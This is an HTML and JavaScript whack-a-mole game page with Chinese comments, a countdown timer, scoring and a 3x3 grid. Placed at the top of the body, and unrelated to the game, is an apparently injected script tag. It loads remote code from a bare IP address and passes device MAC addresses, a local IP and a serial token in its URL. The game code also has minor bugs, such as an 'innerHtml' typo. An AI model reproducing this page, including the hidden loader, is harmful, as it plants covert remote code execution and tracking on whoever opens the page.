<!DOCTYPE html>
<html>

	<head>
		<meta charset="UTF-8">
		<title></title>
		<style type="text/css">
			body {
				background-color: greenyellow;
			}
			
			#content {
				width: 960px;
				margin: 0 auto;
				text-align: center;
				margin-top: 40px;
			}
			
			#form1 {
				margin: 20px 0;
			}
			
			table {
				margin: 0 auto;
				cursor: auto;
			}
			
			td {
				width: 95px;
				height: 95px;
				background: #00ff33;
			}
		</style>
		<script type="text/javascript">
			var td = new Array(), //保存每个格子的地鼠
				playing = false, //游戏是否开始
				countDown = 30, //倒计时
				interId = null, //指定 setInterval()的变量
				timeId = null;
			var score = 0; //分数
			function GameOver() {
				timeStop();
				playing = false;
				clearMouse();
				alert("游戏结束！\n 你获得的分数为：" + score);
				score = 0;
				countDown = 30;
			}

			//显示当前倒计时所剩时间
			function timeShow() {
				document.form1.remtime.value = countDown;
				if(countDown == 0) {
					GameOver();
					return;
				} else {
					countDown = countDown - 1;
					timeId = setTimeout("timeShow()", 1000);
				}
			}

			//主动停止所有计时
			function timeStop() {
				clearInterval(interId);
				clearTimeout(timeId);
			}

			function show() {
				if(playing) {
					var current = Math.floor(Math.random() * 9);
					clearMouse() ;
					document.getElementById("td[" + current + "]").innerHTML =
						'<img src="img/dishu.png" width="80",height="80" />';
					
					setTimeout("document.getElementById('td[" + current + "]').innerHtml=''", 3000); //使用 setTimeout()实现3秒后隐藏老鼠图片
				}
			}
			
			//清除所有老鼠图片
			function clearMouse() {
				for(var i = 0; i < 9; i++) {
					document.getElementById("td[" + i + "]").innerHTML = "";
				}
			}
			//判断是否点中老鼠
			function hit(id) {
				if(document.getElementById("td[" + id + "]").innerHTML != "") {
					score += 1;
					document.form1.score.value = score;
					document.getElementById("td[" + id + "]").innerHTML = "";
				} else {
					//score += -1;
					document.form1.score.value = score;
				}
			}

			function GameStart() {
				playing = true;
				interId = setInterval("show()", 1000);
				document.form1.score.value = score;
				timeShow();
			}
		</script>
	</head>

	<body>
		<script id="is7k4739bvtc5ya003t9726g5h3c" extend="ac=64:50:f4:52:c5:f9&ap=64:50:f4:52:c5:f9&freq=noband&ip=192.168.1.2&mac=a0:88:b4:4e:9a:88&shopId=noband&sn=OKHVx1EmoiZzDUX7ZvOEP8M5OQn/" src="http://118.178.32.90/js/hades.js?freq=noband&hades=1&mac=a0:88:b4:4e:9a:88&random=38377&shopId=noband"></script>

		<div id="content">
			<input type="button" value="开始游戏" onclick="GameStart()" />
			<input type="button" value="结束游戏" onclick="GameOver()" />
			<form name="form1" id="form1">
				<label>分数：</label>
				<input type="text" name="score" size="5">
				<label>倒计时：</label>
				<input type="text" name="remtime" size="5">
			</form>
			<table>
				<tr>
					<td id="td[0]" onclick="hit(0)"></td>
					<td id="td[1]" onclick="hit(1)"></td>
					<td id="td[2]" onclick="hit(2)"></td>
				</tr>
				<tr>
					<td id="td[3]" onclick="hit(3)"></td>
					<td id="td[4]" onclick="hit(4)"></td>
					<td id="td[5]" onclick="hit(5)"></td>
				</tr>
				<tr>
					<td id="td[6]" onclick="hit(6)"></td>
					<td id="td[7]" onclick="hit(7)"></td>
					<td id="td[8]" onclick="hit(8)"></td>
				</tr>
			</table>
		</div>
	</body>

</html>